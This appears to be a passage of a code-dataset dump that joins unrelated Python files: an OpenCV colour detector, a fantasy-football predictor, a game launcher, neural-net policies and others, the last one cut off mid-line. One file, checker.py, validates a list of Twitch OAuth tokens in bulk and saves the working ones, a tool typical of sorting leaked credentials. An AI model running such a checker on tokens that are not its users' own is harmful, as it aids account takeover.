all_features[ext.name] = ext.plugin\n\n    mgr = ExtensionManager(namespace='medikit.feature')\n    mgr.map(register_feature)\n\n    sorted_features = sorted(features)  # sort to have a predictable display order\n    for feature_name in sorted_features:\n        logger.debug('Initializing feature {}...'.format(t.bold(t.green(feature_name))))\n        try:\n            feature = all_features[feature_name]\n        except KeyError as exc:\n            logger.exception('Feature \"{}\" not found.'.format(feature_name))\n\n        if feature:\n            feature_instances[feature_name] = feature(dispatcher)\n\n            for req in feature_instances[feature_name].requires:\n                if not req in sorted_features:\n                    raise RuntimeError('Unmet dependency: {} requires {}.'.format(feature_name, req))\n\n            for con in feature_instances[feature_name].conflicts:\n                if con in sorted_features:\n                    raise RuntimeError('Conflicting dependency: {} conflicts with {}.'.format(con, feature_name))\n        else:\n            raise RuntimeError('Required feature {} not found.'.format(feature_name))\n\n    event = ProjectEvent(config=config)\n    event.variables, event.files, event.setup = variables, files, setup\n\n    # todo: add listener dump list in debug/verbose mode ?\n\n    event = dispatcher.dispatch('medikit.on_start', event)\n\n    dispatcher.dispatch('medikit.on_end', event)\n\n    logger.info(u'Done.')\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"medikit/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":5332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"451143796","text":"import cv2\nimport numpy as np\n\n# 获取蓝色HSV值\nblue = np.uint8([[[0, 0, 255]]])\nhsv_blue = cv2.cvtColor(blue, cv2.COLOR_BGR2HSV)\nprint(hsv_blue)     # [[[  0 255 255]]]\n\n# 定义蓝色hsv值上下限\nlower_blue = np.array([100, 110, 110])\nupper_blue = np.array([130, 255, 255])\n\ncap = cv2.VideoCapture(0)\n\nwhile (cap.isOpened()):\n    # 获取摄像头中当前帧并转为hsv格式\n    ret, frame = cap.read()\n    frame = cv2.resize(frame, (0, 0), fx=0.4, fy=0.4)\n    hsvImg = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n    # 获取图像掩膜\n    Mask = cv2.inRange(hsvImg, lower_blue, upper_blue)\n\n    # 将原图frame与掩膜Mask做二进制\"与\"操作\n    dstImage = cv2.bitwise_and(frame, frame, mask=Mask)\n\n    # 显示原图，掩膜，合并图\n    cv2.imshow(\"[Source Image]\", frame)\n    cv2.imshow(\"[Mask]\", Mask)\n    cv2.imshow(\"[Result(Recognize blue)]\", dstImage)\n\n    # 按‘q’键退出\n    if cv2.waitKey(30) == ord('q'):\n        break\n","sub_path":"practice-3/task_10.py","file_name":"task_10.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"601049172","text":"# import requests\nimport pandas as pd\nfrom pandas import read_csv\nfrom pandas.plotting import scatter_matrix\nfrom matplotlib import pyplot\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVR\nimport csv\nfrom itertools import permutations\nfrom math import floor\nimport numpy as np\nimport scipy\n\n# Reading fixture data in\nfn = 'fixtures.csv'\nfixtures = read_csv(fn)\n\nfixtures_h = fixtures[['team_a_difficulty','team_h_difficulty', 'team_h_score' ]][fixtures['minutes'].values == 90]\nfixtures_a = fixtures[['team_a_difficulty','team_h_difficulty', 'team_a_score' ]][fixtures['minutes'].values == 90]\n\n# Reading raw player data in \nfn = 'players_raw.csv'\nplayers_raw = read_csv(fn)\n\n# print(fixtures_h.head(10))\n# print(fixtures_a.head(10))\n\nteams = ['Arsenal', 'Aston Villa', 'Brighton', 'Burnley', 'Chelsea', 'Crystal Palace', 'Everton', 'Fulham',\n         'Leicester', 'Leeds', 'Liverpool', 'Man City', 'Man Utd', 'Newcastle', 'Sheffield Utd',\n         'Southampton', 'Spurs', 'West Brom', 'West Ham', 'Wolves']\n\n# Predicting scores from previous FDR results \n\n#Removing outliers by filtering results with z score > 2\nz_h = np.abs(scipy.stats.zscore(fixtures_h['team_h_score'].values))\nz_a = np.abs(scipy.stats.zscore(fixtures_a['team_a_score'].values))\n\nfixtures_h_o = fixtures_h[(z_h < 2)]\nfixtures_a_o = fixtures_a[(z_a < 2)]\n\n\n# Split-out validation dataset - home scores\narray = fixtures_h_o.values\nX = array[:,0:2]\ny = array[:,2]\n\n# X_train, X_validation, Y_train, Y_validation = train_test_split(X, y, test_size=0.20, random_state=1)\n\nmodel_h = SVR()\nmodel_h.fit(X, y)\n\n# kfold = StratifiedKFold(n_splits=2, random_state=1, shuffle=True)\n# cv_results = cross_val_score(model_h, X_train, Y_train, cv=kfold, scoring='accuracy')\n\n# Split-out validation dataset - away scores\narray = fixtures_a_o.values\nX = array[:,0:2]\ny = array[:,2]\n\n#model definition\nmodel_a = SVR()\nmodel_a.fit(X, y)\n\n# test_fix = [4, 2]\n# test_h_score = model_h.predict([test_fix])\n# test_a_score = model_a.predict([test_fix])\n\n# print('%.0f : %.0f' %(test_h_score, test_a_score))\n# Prediction of scores        \npred_h_score = np.array([])\npred_a_score = np.array([])\n\nfor row in range(len(fixtures)):\n    h_diff = fixtures['team_h_difficulty'][row]\n    a_diff = fixtures['team_a_difficulty'][row]\n    pred_h_score = np.append(pred_h_score,model_h.predict([[h_diff,a_diff]]))\n    pred_a_score = np.append(pred_a_score,model_a.predict([[h_diff,a_diff]]))\n    \n    # pred_h_score.append(model_h.predict([[h_diff,a_diff]]))\n    # pred_a_score.append(model_a.predict([[h_diff,a_diff]]))\n\n# Definition of expected goals or assist for given team and result\ndef xStat(team_val, Stat, result):\n    # Finds team\n    team = players_raw[players_raw['team'].values == team_val]\n    # Expected xStat per 90, chance_of_playing * prob to be added\n    xStat_temp = team[Stat].values * 90 / team['minutes'].values\n    # Normalising prob of xStat per 90\n    xStat_temp = np.nan_to_num(xStat_temp)\n    xStat_norm = xStat_temp / sum(xStat_temp)\n    # Sorting prob to form cdf\n    xStat_sort = np.sort(xStat_norm)\n    # Capture where orignal indices go\n    xStat_plyrsort = np.argsort(xStat_norm)\n    # print(team['web_name'].values[xStat_plyrsort])\n    xStat_cum = np.cumsum(xStat_sort)\n    # xStat_GW = [[np.zeros(len(xStat_cum))]]\n    xStat_GW = []\n    # print(xStat_cum)\n    for event in range(result):    \n        seed = np.random.rand(1)\n        # print(seed)\n        # Loop through players to find where \n        for plyr in range(len(xStat_cum)):\n            if xStat_cum[plyr] > seed:\n                plyr_stat = xStat_plyrsort[plyr]\n                xStat_GW.append(team['web_name'].values[plyr_stat])\n                break\n    # xStat_GW = np.around(xStat_norm * result)\n    # return team['second_name'][xStat_GW == 1]\n    return xStat_GW\n\n#Printing predictions to terminal, KEY LINE FOR GW INPUT HERE!!!\ncurrent_gw = 9\ngw_fixt = fixtures[(fixtures['event'].values == current_gw)]\nplyrScore = np.zeros(600)\n\ngk = players_raw['element_type'].values == 1\ndefend = players_raw['element_type'].values == 2\nmid = players_raw['element_type'].values == 3\natt = players_raw['element_type'].values == 4\n\nprobMins = players_raw['minutes'].values > 60 * 9\n\nfor row in range(len(pred_h_score[fixtures['event'].values == current_gw])):\n    # Define teams and result for fixture\n    teamcode_h = gw_fixt['team_h'].values[row]\n    teamcode_a = gw_fixt['team_a'].values[row]\n    team_h = teams[teamcode_h - 1]\n    team_a = teams[teamcode_a - 1]\n    result_h = int(round(pred_h_score[fixtures['event'].values == current_gw][row]))\n    result_a = int(round(pred_a_score[fixtures['event'].values == current_gw][row]))\n\n    #Calculate contributions\n    h_xG = xStat(teamcode_h,'goals_scored',result_h)\n    h_xA = xStat(teamcode_h,'assists',result_h)\n    a_xG = xStat(teamcode_a,'goals_scored',result_a)\n    a_xA = xStat(teamcode_a,'assists',result_a)\n\n    print('%s %.0f : %.0f %s' %(team_h, result_h, result_a, team_a))\n    print('Goals:', h_xG, a_xG)\n    print('Asists:', h_xA, a_xA)\n    print() \n    # print(pred_a_score[fixtures['event'].values == 7][row])\n    for event in range(len(h_xA)):\n        hAscore = players_raw['web_name'].values == h_xA[event]\n        hAscore_temp = hAscore * 3\n        hGscore = players_raw['web_name'].values == h_xG[event]\n        hGscore_temp = hGscore * 6 * gk\n        hGscore_temp += hGscore * 6 * defend\n        hGscore_temp += hGscore * 5 * mid\n        hGscore_temp += hGscore * 4 * att\n        plyrScore += hAscore_temp + hGscore_temp\n        \n    for event in range(len(a_xA)):\n        Ascore = players_raw['web_name'].values == a_xA[event]\n        Ascore_temp = Ascore * 3\n        Gscore = players_raw['web_name'].values == a_xG[event]\n        Gscore_temp = Gscore * 6 * gk\n        Gscore_temp += Gscore * 6 * defend\n        Gscore_temp += Gscore * 5 * mid\n        Gscore_temp += Gscore * 4 * att\n        plyrScore += Ascore_temp + Gscore_temp\n        \n    if result_a == 0:\n        hTeam = players_raw['team'].values == teamcode_h\n        csScore = hTeam * gk * 6 * probMins\n        csScore += hTeam * defend * 6 * probMins\n        plyrScore += csScore\n        \n    if result_h == 0:\n        aTeam = players_raw['team'].values == teamcode_a\n        csScore = aTeam * gk * 6 * probMins\n        csScore += aTeam * defend * 6 * probMins\n        plyrScore += csScore  \n        \n    if result_a >= 2:\n        hTeam = players_raw['team'].values == teamcode_h\n        csScore = hTeam * gk * -1 * floor(result_a) * probMins\n        csScore += hTeam * defend * -1 * floor(result_a) * probMins\n        plyrScore += csScore\n        \n    if result_h >= 2:\n        aTeam = players_raw['team'].values == teamcode_a\n        csScore = aTeam * gk * -1 * floor(result_h) * probMins\n        csScore += aTeam * defend * -1 * floor(result_h) * probMins\n        plyrScore += csScore  \n        \nplyrScore += probMins * 2\n    \nplyrScore_sort = np.sort(plyrScore)\n    # Capture where orignal indices go\nplyrScore_ind = np.argsort(plyrScore)\n\nfor row in range(1,16):\n    print('%s : %.0f' %(players_raw['web_name'].values[plyrScore_ind[-row]], plyrScore_sort[-row]))\n\n# # create arrays to define whether entries count against a limit\n# costs = players_raw['now_cost']\n# gk_gw = np.array(players_raw['element_type'].values == 1)\n# defend_gw = np.array(players_raw['element_type'].values == 2)\n# mid_gw = np.array(players_raw['element_type'].values == 3)\n# att_gw = np.array(players_raw['element_type'].values == 4)\n# # ast = np.array(players_raw['team'].values == 2) # set to villa currently\n# #  i.e every player counts against player limit\n# players = np.ones(len(players_raw))\n\n# # Set up boundaries\n# params = np.array([\n#     costs, \n#     gk,\n#     defend,\n#     mid,\n#     att,\n#     # ast,\n#     players,\n#    ])\n\n# # Set limits\n# upper_bounds = np.array([\n#     1000, #cost\n#     2, #gk\n#     5, #def\n#     5, #mid\n#     3, #att\n#     # 3, #players from team\n#     15, #player limit\n#     ])\n\n# bounds = [(0,1) for x in range(len(players_raw))]\n\n# # linear progression to solve minimise negative total points (so most points at end)\n# from scipy.optimize import linprog\n\n# selected = linprog(\n#     -plyrScore, \n#     params, \n#     upper_bounds,\n#     bounds = bounds,\n#    ).x\n\n# #round to tidy answers\n# selected_rnd = np.around(selected)\n\n# gk_selected = gk * selected_rnd\n# def_selected = defend * selected_rnd\n# mid_selected = mid * selected_rnd\n# att_selected = att * selected_rnd\n\n# # print('cost: %.2f' % (players_raw['now_cost'] * selected_rnd).sum())\n# # print('Gk: %.2f' % ( gk_selected).sum())\n# # print('Def: %.2f' % (def_selected).sum())\n# # print('Mid: %.2f' % (mid_selected).sum())\n# # print('Att: %.2f' % (att_selected).sum())\n\n# print(\"Goalkeepers: \",\"\\n\",players_raw['web_name'][gk_selected == 1].values,\"\\n\",\n#       \"Defenders: \", \"\\n\", players_raw['web_name'][def_selected == 1].values,\"\\n\",\n#       \"Midfielders: \", \"\\n\", players_raw['web_name'][mid_selected == 1].values,\"\\n\",\n#       \"Strikers: \", \"\\n\", players_raw['web_name'][att_selected == 1].values)\n","sub_path":"mlFpl_02.py","file_name":"mlFpl_02.py","file_ext":"py","file_size_in_byte":9585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"588023962","text":"import asyncio\r\nimport aiosonic\r\nimport os\r\nimport time\r\nimport threading\r\n\r\nfrom tasksio import TaskPool\r\nfrom colorama import init, Fore\r\n\r\ninit(convert=True)\r\n\r\nTOKENS_LOADED = 0\r\nTOKENS_INVALID = 0\r\nTOKENS_VALID = 0\r\nTOKENS_VALID_LIST = []\r\n\r\ndef title_worker():\r\n    global TOKENS_INVALID, TOKENS_VALID, TOKENS_LOADED\r\n    while True:\r\n        os.system(f\"title Tokens Loaded: {TOKENS_LOADED} ^| Valid: {TOKENS_VALID} ^| Invalid: {TOKENS_INVALID}\")\r\n        time.sleep(0.1)\r\n        \r\nthreading.Thread(target=title_worker, daemon=True).start()\r\n\r\nasync def check(token, client):\r\n    global TOKENS_INVALID, TOKENS_VALID, TOKENS_VALID_LIST\r\n    \r\n    response = await client.get(\"https://id.twitch.tv/oauth2/validate\", headers={\r\n        \"Authorization\": f\"OAuth {token}\"\r\n    })\r\n    \r\n    if \"client_id\" in await response.text():\r\n        TOKENS_VALID += 1\r\n        TOKENS_VALID_LIST.append(token)\r\n        print(f'{Fore.GREEN}[VALID] {token}')\r\n            \r\n    else:      \r\n        TOKENS_INVALID += 1\r\n        print(f'{Fore.RED}[INVALID] {token}')\r\n        \r\n    \r\nasync def main():\r\n    global TOKENS_INVALID, TOKENS_VALID, TOKENS_LOADED, TOKENS_VALID_LIST\r\n    \r\n    client = aiosonic.HTTPClient()\r\n    \r\n    try:\r\n        with open('tokens.txt', 'r') as tokens:\r\n            tokens = [x.strip() for x in tokens.readlines() if x.strip()]\r\n            TOKENS_LOADED = len(tokens)\r\n            async with TaskPool(10_000) as pool:\r\n                for token in tokens:\r\n                    await pool.put(check(token, client))\r\n                    \r\n            await client.shutdown()\r\n\r\n            print(f\"{Fore.WHITE}Tokens Loaded: {TOKENS_LOADED} | Valid: {TOKENS_VALID} | Invalid: {TOKENS_INVALID}\")    \r\n            \r\n            with open(f'working.txt', 'w') as handle:\r\n                handle.write('\\n'.join(TOKENS_VALID_LIST))\r\n                handle.close()\r\n                \r\n            input(\"Saved to working.txt, click enter to exit.\")\r\n                      \r\n    except Exception as e:\r\n        print(e)\r\n        input('Can\\'t open tokens.txt\\nClick enter to exit!')\r\n\r\nif __name__ == '__main__':\r\n    loop = asyncio.get_event_loop()\r\n    loop.run_until_complete(main())","sub_path":"checker.py","file_name":"checker.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"448440846","text":"from experiment_econometrics import main_experiment\nfrom econometrics_problem import DatasetFactory\nfrom learners import CholeskyMLP, CholeskyLSTM, CholeskyAutoEncoder\nfrom wrappers import DCC_HVI\nimport mean_covariance_models as M\nimport timeseries_transformations as T\n\nif __name__ == '__main__':\n    experiment_name = 'ptf_dcc_LSTM_1010'\n    dataset_name = 'PTF'\n    baseline_model = 'dcc'\n    hidden_layer_dim = 32\n    batch_size = 16\n    total_epochs = 50000\n    plot_points = 30\n\n    # Data from .csv\n    dsf = DatasetFactory.get(name=dataset_name)\n    # Train test split\n    train_time = dsf.split_train_test(sequential=True, test_size=0.3)\n    # Features computation\n    dsf.withColumn('y', *T.standardize(*dsf['y']))\n    dsf.withColumn('crosses', *T.elements_cross(*dsf['y']))\n    dsf.withColumn('x_timesteps', *T.lagify(*dsf['crosses'], lag=6, collapse=False))\n    # The baseline model\n    baseline_estimator = {\n        'dcc': T.dcc,\n        'lw': T.LedoitWolf,\n    }[baseline_model]\n    baseline_model_line = f'{baseline_model}_line'\n    dsf.withColumn(baseline_model, *baseline_estimator(*dsf['y']))\n    states_line = [M.mu_vcv_linearize(**states) for states in dsf[baseline_model]]\n    dsf.withColumn(baseline_model_line, *states_line)\n    # Drop rows with NA (empty features)\n    dsf.dropna()\n\n    models = {\n        'DCC + VI-lstm': CholeskyLSTM(dsf,\n                                            'x_timesteps', 'y', baseline_model_line,\n                                            gaussian_posterior=True,\n                                            recurrent_dim=hidden_layer_dim,\n                                            mlp_post_lstm_layers_dim=[hidden_layer_dim for i in range(2)],\n                                            init_scale=1e0, learning_rate=5e-4),\n        'DCC + p-lstm': CholeskyLSTM(dsf,\n                                             'x_timesteps', 'y', baseline_model_line,\n                                             recurrent_dim=hidden_layer_dim,\n                                             mlp_post_lstm_layers_dim=[hidden_layer_dim for i in range(2)],\n                                             init_scale=5e-1, learning_rate=5e-5),\n        'DCC + lstm': CholeskyLSTM(dsf,\n                                   'x_timesteps', 'y', baseline_model_line,\n                                   empirical_prior=False,\n                                   recurrent_dim=hidden_layer_dim,\n                                   mlp_post_lstm_layers_dim=[hidden_layer_dim for i in range(2)],\n                                   init_scale=5e-1, learning_rate=5e-5),\n    }\n\n    main_experiment(dsf,\n                    experiment_name=experiment_name,\n                    baseline_model=baseline_model,\n                    debug=False,\n                    models=models,\n                    batch_size=batch_size,\n                    total_epochs=total_epochs,\n                    plot_points=plot_points)\n","sub_path":"exp_ptf_dcc_LSTM.py","file_name":"exp_ptf_dcc_LSTM.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"515549132","text":"#!/usr/bin/env python2\n\nfrom __future__ import print_function\n\nimport os\nimport os.path as path\nimport argparse\nimport subprocess\nimport runpy\nfrom sys import argv, stderr\n\nif __name__ == '__main__':\n    osnames = {\n        u'mac': u'Mac OS X',\n        u'win': u'Windows',\n        u'lin': u'Linux',\n    }\n\n    osname = subprocess.check_output([u'uname']).decode(u'utf8')\n    if osname == u'Darwin':\n        osname = osnames[u'mac']\n    elif osname == u'Linux':\n        osname = osnames[u'lin']\n    else:\n        osname = osnames[u'win']\n\n    app_path = path.dirname(argv[0])\n    if not app_path:\n        exit(-1)\n    os.chdir(app_path)\n    app_path = os.getcwd()\n\n    game_name = path.basename(app_path)\n    \n    # override game name?\n    arg_parser = argparse.ArgumentParser(description=u'Runs your game, compiled with build.py.')\n    arg_parser.add_argument('name',\n                            nargs='?', default=game_name,\n                            help=u'name of game (default: name of containing folder: %(default)s)')\n    args = arg_parser.parse_args()\n    game_name = args.name\n\n    def get_version_path(v):\n        pathlist = ['.', u'bin', v, game_name]\n        if osname == osnames['mac']:\n            pathlist[-1] += u'.app'\n            pathlist += [u'Contents', u'MacOS', game_name]\n        pathlist[-1] += u'.pyz'\n        return path.join(*pathlist)\n\n    exe_path, version = None, None\n    for v in [u'Debug', u'Release']:\n        exe_path = get_version_path(v)\n        if path.isfile(exe_path):\n            version = v\n            break\n    else:\n        stderr.write(u'Please build the game using %s\\n' % path.join('.', 'build.py'))\n        exit(-1)\n\n    print(u'Running', version, u'version from', path.dirname(exe_path))\n\n    if osname == osnames['mac']:\n        applescript = path.join(app_path, u'lib', u'bring_fg.scpt')\n        if not path.isfile(applescript):\n            with open(applescript, 'w') as f:\n                f.write(u'''\\\non run argv\n    try\n        Delay(0.5)\n        set proc to \"\" & item 1 of argv & \"\"\n        tell application \"System Events\"\n            tell process proc\n                set frontmost to true\n            end tell\n        end tell\n    on error\n    end try\n    return\nend run''')\n        subprocess.Popen([applescript, game_name])\n    runpy.run_path(exe_path, run_name='__main__')\n","sub_path":"Templates/Python/Common/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"490292495","text":"\"\"\"BC neural net policies.\"\"\"\n\nimport abc\nimport functools\nfrom typing import Optional, Sequence, Tuple\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import (pack_padded_sequence, pad_packed_sequence,\n                                pad_sequence)\n\nTensorType = torch.Tensor\n\n\n# Reference: https://github.com/denisyarats/drq\ndef build_mlp(\n    input_dim: int,\n    hidden_dim: int,\n    output_dim: int,\n    hidden_depth: int,\n    dropout_prob: Optional[float] = 0.0,\n    activation_fn=functools.partial(nn.ReLU, inplace=True),\n    output_mod=None,\n):\n    \"\"\"Flexible MLP function creation.\"\"\"\n    if hidden_depth == 0:\n        mods = [nn.Linear(input_dim, output_dim)]\n        if dropout_prob > 0.0:\n            mods += [nn.Dropout(dropout_prob)]\n    else:\n        mods = [nn.Linear(input_dim, hidden_dim), activation_fn()]\n        if dropout_prob > 0.0:\n            mods += [nn.Dropout(dropout_prob)]\n        for _ in range(hidden_depth - 1):\n            mods += [nn.Linear(hidden_dim, hidden_dim), activation_fn()]\n            if dropout_prob > 0.0:\n                mods += [nn.Dropout(dropout_prob)]\n        mods.append(nn.Linear(hidden_dim, output_dim))\n    if output_mod is not None:\n        if not isinstance(output_mod, list):\n            mods.append(output_mod)\n        else:\n            mods.extend(output_mod)\n    trunk = nn.Sequential(*mods)\n    return trunk\n\n\nclass BasePolicy(abc.ABC, nn.Module):\n    \"\"\"Base policy abstraction.\"\"\"\n\n    def __init__(self, action_range: Tuple[float, ...]) -> None:\n        super().__init__()\n\n        self.action_range = action_range\n\n    @abc.abstractmethod\n    def forward(self, x: TensorType) -> TensorType:\n        pass\n\n    def act(self, obs: np.ndarray) -> np.ndarray:\n        obs_tensor = torch.from_numpy(obs).unsqueeze(0).float()\n        obs_tensor = obs_tensor.to(next(self.parameters()).device)\n        action_tensor = self.forward(obs_tensor)\n        action_tensor = action_tensor.clamp(*self.action_range)\n        action = action_tensor[0].cpu().detach().numpy()\n        return action\n\n\nclass MLPPolicy(BasePolicy):\n    \"\"\"An MLP policy.\"\"\"\n\n    def __init__(\n        self,\n        input_dim: int,\n        hidden_dim: int,\n        output_dim: int,\n        hidden_depth: int,\n        dropout_prob: float,\n        *args,\n        **kwargs,\n    ) -> None:\n        super().__init__(*args, **kwargs)\n\n        self.trunk = build_mlp(\n            input_dim,\n            hidden_dim,\n            output_dim,\n            hidden_depth,\n            dropout_prob=dropout_prob,\n        )\n\n        # Custom weight init.\n        def _weight_init(m):\n            \"\"\"Custom weight init.\"\"\"\n            if isinstance(m, nn.Linear):\n                nn.init.kaiming_uniform_(m.weight.data, nonlinearity=\"relu\")\n                if hasattr(m.bias, \"data\"):\n                    m.bias.data.fill_(0.0)\n\n        self.apply(_weight_init)\n\n    def forward(self, x: TensorType) -> TensorType:\n        return self.trunk(x)\n\n\nclass LSTMPolicy(BasePolicy):\n    \"\"\"An LSTM-policy.\"\"\"\n\n    def __init__(\n        self,\n        input_dim: int,\n        mlp_hidden_dim: int,\n        mlp_hidden_depth: int,\n        mlp_dropout_prob: float,\n        lstm_hidden_dim: int,\n        output_dim: int,\n        lstm_hidden_depth: int,\n        lstm_dropout_prob: float,\n        *args,\n        **kwargs,\n    ):\n        super().__init__(*args, **kwargs)\n\n        out_mod = [nn.ReLU(inplace=True)]\n        if mlp_dropout_prob > 0.0:\n            out_mod.append(nn.Dropout(mlp_dropout_prob))\n        self.mlp = build_mlp(\n            input_dim,\n            mlp_hidden_dim,\n            lstm_hidden_dim,\n            mlp_hidden_depth,\n            dropout_prob=mlp_dropout_prob,\n            output_mod=out_mod,\n        )\n        self.norm = nn.LayerNorm(lstm_hidden_dim)\n        self.lstm = nn.LSTM(\n            input_size=lstm_hidden_dim,\n            hidden_size=lstm_hidden_dim,\n            num_layers=lstm_hidden_depth,\n            batch_first=True,\n            dropout=lstm_dropout_prob if lstm_hidden_depth > 1 else 0,\n        )\n        self.head = nn.Linear(lstm_hidden_dim, output_dim)\n\n    def forward(self, x: TensorType) -> TensorType:\n        out = self.norm(self.mlp(x))\n        out, _ = self.lstm(out)\n        out = self.head(out)\n        return out\n\n    def act(self, obs: np.ndarray) -> np.ndarray:\n        obs_tensor = torch.from_numpy(obs).unsqueeze(0).unsqueeze(0).float()\n        obs_tensor = obs_tensor.to(next(self.parameters()).device)\n        action_tensor = self.forward(obs_tensor)\n        action_tensor = action_tensor.clamp(*self.action_range)\n        action = action_tensor[0, 0].cpu().detach().numpy()\n        return action\n\n\n# Reference: https://github.com/karpathy/minGPT\nclass TransformerBlock(nn.Module):\n    \"\"\"Transformer with self-attention.\"\"\"\n\n    def __init__(\n        self,\n        emb_dim: int,\n        num_heads: int,\n        seq_len: int,\n        dropout_prob: float = 0.1,\n    ) -> None:\n        super().__init__()\n\n        self.ln1 = nn.LayerNorm(emb_dim)\n        self.ln2 = nn.LayerNorm(emb_dim)\n        self.attn = nn.MultiheadAttention(emb_dim, num_heads, dropout=dropout_prob)\n        self.mlp = nn.Sequential(\n            nn.Linear(emb_dim, 4 * emb_dim),\n            nn.GELU(),\n            nn.Linear(4 * emb_dim, emb_dim),\n            nn.Dropout(dropout_prob),\n        )\n\n    def forward(self, x: TensorType) -> TensorType:\n        with torch.no_grad():\n            k = x.shape[1]\n            mask = torch.tril(torch.ones(k, k)).to(x.device)\n            mask.detach()\n        x_n = self.ln1(x)\n        attn_out = self.attn(\n            x_n.permute(1, 0, 2),\n            x_n.permute(1, 0, 2),\n            x_n.permute(1, 0, 2),\n            attn_mask=mask,\n        )[0]\n        x = x + attn_out.permute(1, 0, 2)\n        x = x + self.mlp(self.ln2(x))\n        return x\n\n\n# Reference: https://github.com/karpathy/minGPT\nclass AutoregressiveTransformerPolicy(BasePolicy):\n    \"\"\"A GPT-like Transformer policy.\"\"\"\n\n    def __init__(\n        self,\n        state_dim: int,\n        action_dim: int,\n        emb_dim: int,\n        seq_len: int,\n        num_blocks: int,\n        num_heads: int,\n        *args,\n        **kwargs,\n    ) -> None:\n        super().__init__(*args, **kwargs)\n\n        self.seq_len = seq_len\n\n        # Embedding heads.\n        self.s_emb = nn.Linear(state_dim, emb_dim)\n        self.a_emb = nn.Linear(action_dim, emb_dim)\n\n        # Timestep encoding.\n        self.t_emb = nn.Parameter(torch.zeros(1, seq_len, emb_dim))\n\n        # Transformer block.\n        self.xformer = nn.Sequential(\n            *[TransformerBlock(emb_dim, num_heads, seq_len) for _ in range(num_blocks)]\n        )\n\n        self.drop = nn.Dropout(0.1)\n\n        # Layer normalization.\n        self.s_ln = nn.LayerNorm(emb_dim)\n        self.a_ln = nn.LayerNorm(emb_dim)\n\n        # Output heads.\n        self.a_head = nn.Linear(emb_dim, action_dim, bias=False)\n        self.s_head = nn.Linear(emb_dim, state_dim, bias=False)\n\n    def _init_weights(self, module):\n        if isinstance(module, (nn.Linear, nn.Embedding)):\n            module.weight.data.normal_(mean=0.0, std=0.02)\n            if isinstance(module, nn.Linear) and module.bias is not None:\n                module.bias.data.zero_()\n        elif isinstance(module, nn.LayerNorm):\n            module.bias.data.zero_()\n            module.weight.data.fill_(1.0)\n\n    def configure_optimizers(self, learning_rate, betas, weight_decay):\n        # separate out all parameters to those that will and won't experience regularizing weight decay\n        decay = set()\n        no_decay = set()\n        whitelist_weight_modules = (torch.nn.Linear,)\n        blacklist_weight_modules = (torch.nn.LayerNorm, torch.nn.Embedding)\n        for mn, m in self.named_modules():\n            for pn, p in m.named_parameters():\n                fpn = \"%s.%s\" % (mn, pn) if mn else pn  # full param name\n\n                if pn.endswith(\"bias\"):\n                    # all biases will not be decayed\n                    no_decay.add(fpn)\n                elif pn.endswith(\"weight\") and isinstance(m, whitelist_weight_modules):\n                    # weights of whitelist modules will be weight decayed\n                    decay.add(fpn)\n                elif pn.endswith(\"weight\") and isinstance(m, blacklist_weight_modules):\n                    # weights of blacklist modules will NOT be weight decayed\n                    no_decay.add(fpn)\n\n        # special case the position embedding parameter in the root GPT module as not decayed\n        no_decay.add(\"t_emb\")\n        decay.add(\"xformer.1.attn.in_proj_weight\")\n        decay.add(\"xformer.0.attn.in_proj_weight\")\n\n        # validate that we considered every parameter\n        param_dict = {pn: p for pn, p in self.named_parameters()}\n        inter_params = decay & no_decay\n        union_params = decay | no_decay\n        assert (\n            len(inter_params) == 0\n        ), \"parameters %s made it into both decay/no_decay sets!\" % (str(inter_params),)\n        assert (\n            len(param_dict.keys() - union_params) == 0\n        ), \"parameters %s were not separated into either decay/no_decay set!\" % (\n            str(param_dict.keys() - union_params),\n        )\n\n        # create the pytorch optimizer object\n        optim_groups = [\n            {\n                \"params\": [param_dict[pn] for pn in sorted(list(decay))],\n                \"weight_decay\": weight_decay,\n            },\n            {\n                \"params\": [param_dict[pn] for pn in sorted(list(no_decay))],\n                \"weight_decay\": 0.0,\n            },\n        ]\n        optimizer = torch.optim.AdamW(optim_groups, lr=learning_rate, betas=betas)\n        return optimizer\n\n    def forward(self, x: TensorType, sample: bool = False) -> TensorType:\n        if sample:\n            with torch.no_grad():\n                state_seq, action_seq = x\n                if len(action_seq) == 0:\n                    state = torch.cat(state_seq, dim=0).unsqueeze(0)\n                    state_emb = self.s_ln(self.s_emb(state))\n                    state_pos_emb = self.drop(\n                        state_emb + self.t_emb[:, : state.shape[1], :]\n                    )\n                    out = self.xformer(state_pos_emb)\n                    a_out = self.a_head(out)\n                else:\n                    state = torch.cat(state_seq, dim=0).unsqueeze(0)\n                    action = torch.cat(action_seq, dim=0).unsqueeze(0)\n                    state = state[:, -self.seq_len :]\n                    action = action[:, -self.seq_len :]\n                    state_emb = self.s_ln(self.s_emb(state))\n                    action_emb = self.a_ln(self.a_emb(action))\n                    state_pos_emb = self.drop(\n                        state_emb + self.t_emb[:, : state.shape[1], :]\n                    )\n                    action_pos_emb = self.drop(\n                        action_emb + self.t_emb[:, : action.shape[1], :]\n                    )\n                    state_action_pos_embs = []\n                    for i in range(action_pos_emb.shape[1]):\n                        